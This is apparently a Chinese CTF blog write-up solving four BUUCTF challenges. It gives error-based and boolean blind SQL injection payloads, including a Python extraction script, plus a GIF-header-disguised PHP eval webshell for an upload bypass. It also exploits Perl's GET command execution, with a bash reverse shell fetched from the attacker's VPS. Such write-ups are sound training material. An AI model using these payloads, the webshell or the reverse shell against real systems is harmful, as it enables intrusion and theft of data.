[极客大挑战 2019]HardSQL
经测试,发现过滤了很多关键字,进行FUZZ一下得到以下关键字都被过滤
不过发现报错注入的关键字 updatexml
和 extractvalue
并没有被过滤,or
也没被过滤,空格被过滤使用()
代替,等号被过滤用 like
代替。
# 得到库名 geek
?username=1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23&password=111
# 得到表名 H4rDsq1
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=111
# 得到列名 id,username,password
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=111
# 查看字段值,发现只有一半flag值
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=111
后半段内容可以通过 right() 或 reverse() 等函数进行读取还原。
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',right(password,23)))from(H4rDsq1)),0x7e),1))%23&password=111
拼接一下得到最终flag。
[极客大挑战 2019]FinalSQL
题目考点:布尔盲注
经过尝试,发现存在异或注入,传入 id=1^2
与 id=3
的结果一致。
过滤了一些字符,FUZZ一下得到以下字符被过滤
就可以利用布尔盲注获取flag
import requests,re,time
res = ''
url = 'http://6b059bea-9773-473c-93d3-528407e27a5d.node4.buuoj.cn/search.php?id='
for i in range(172,240):
print(i,end='\t')
high = 128
low = 32
mid = (low + high) // 2
while high > low:
# 得到库名 geek
payload = "1^(ascii(substr((select(database())),{},1))>{})".format(i,mid)
# 得到表名 F1naI1y,Flaaaaag
payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})".format(i,mid)
# 得到列名 id,username,password
payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})".format(i,mid)
# 得到字段值
payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)
#print(payload)
r = requests.get(url+payload)
if 'ERROR' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
res += chr(int(mid))
print(res)
# 速度太快,网站会崩
time.sleep(0.3)
[WUSTCTF2020]CV Maker
直接注册一个用户进行登录。
此题环境稍微有些问题,登录成功后还是会显示 Please Login First!
,不过好像不影响后续操作。
上传头像,猜测存在上传漏洞。
直接尝试上传 php 文件提示 exif_imagetype not image!
后端应该调用了php的exif_imagetype()函数,添加图片文件头就可以绕过。
GIF89a
<?php eval($_POST[1]);?>
成功上传,在源代码里看到上传的文件名
使用蚁剑连接或者直接进行利用即可得到flag。
[HITCON 2017]SSRFme
访问直接得源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
简单了解一下 pathinfo() 函数:
<?php
$filename = 'index.php';
$info = pathinfo($filename);
var_dump($info);
var_dump(basename($info["dirname"]));
$dir = str_replace(".", "", basename($info["dirname"]));
?>
代码大致意思就是先创建一个目录 sandbox/md5(orange+ip)
,然后执行 GET $_GET['url']
,根据传入的 filename
的值创建文件夹,并将执行 GET $_GET['url']
后的结果放在该文件夹下面 filename
的值所指的文件中。
php的 shell_exec
执行了 GET 命令。这里 GET 是 Lib for WWW in Perl 中的命令,目的是模拟 http 的 GET 请求。
参考文章:perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)
我们请求
http://d65e5380-da96-4a1f-8c05-90e8de77a4bb.node4.buuoj.cn:81/?url=/&filename=air
经过 shell_exec 调用系统命令 GET 查看了根路径(/)的结果,将之保存到了 air 文件中,所以直接访问即可得到文件的内容。
利用这种方法,访问
http://d65e5380-da96-4a1f-8c05-90e8de77a4bb.node4.buuoj.cn:81/?url=/flag&filename=air
不过访问 air 文件的时候并没有结果,应该是权限不够不能读取。
有一个 readflag 文件,肯定是执行此文件来读取flag。
perl 脚本中 GET 存在命令执行漏洞,前提是文件需要存在。
touch 'id|'
GET 'file:id|'
uid=0(root) gid=0(root) groups=0(root)
perl 里的 GET 函数底层是调用了 open 处理:
$ cat /usr/share/perl5/LWP/Protocol/file.pm
#第47行
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
unless (-r _) {
return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
'User does not have read permission');
}
...
#第127行
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close(F);
}
...
不过现在的新版本中已被修复,在open中间加了个参数 <
:
# read the file
if ($method ne "HEAD") {
# open 函数以只读的方式(<)打开文件
open(my $fh, '<' , $path) or return new
HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode($fh);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread($fh, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close($fh);
}
首先得满足文件存在,才会继续执行到 open 语句,所以在执行命令前得保证有相应的同名文件:
# 先新建一个名为“|/readflag”的文件,用于之后的命令执行
?url=&filename=|/readflag
# 再利用GET执行 /readflag 保存到 air 文件
?url=file:|/readflag|&filename=air
然后访问即可得到flag。
也可以直接使用反弹 shell 的方式进行获取
首先在自己的 VPS 上写一个文件,内容为
bash -i >& /dev/tcp/your_vps/2333 0>&1
然后进行如下操作,让其 GET 请求此文件,并保存到 air.txt 文件中
?url=http://your_vps/air.txt&filename=air.txt
进行如下操作,使其生成一个 bash air.txt|
文件,为了后面的命令执行做准备。
?url=&filename=bash air.txt|
最后进行反弹 shell 操作:
?url=file:bash air.txt|&filename=air
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/107597842
========================================================